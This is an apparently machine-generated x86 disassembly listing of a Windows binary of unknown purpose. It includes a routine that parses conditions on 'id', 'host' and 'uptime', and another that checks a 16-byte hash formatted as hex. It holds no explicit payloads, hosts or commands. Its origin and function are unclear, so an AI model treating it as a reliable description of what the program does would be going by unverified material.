; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D40 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D3C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D38 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D34 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		call	near ptr 27D07CDh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F70
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
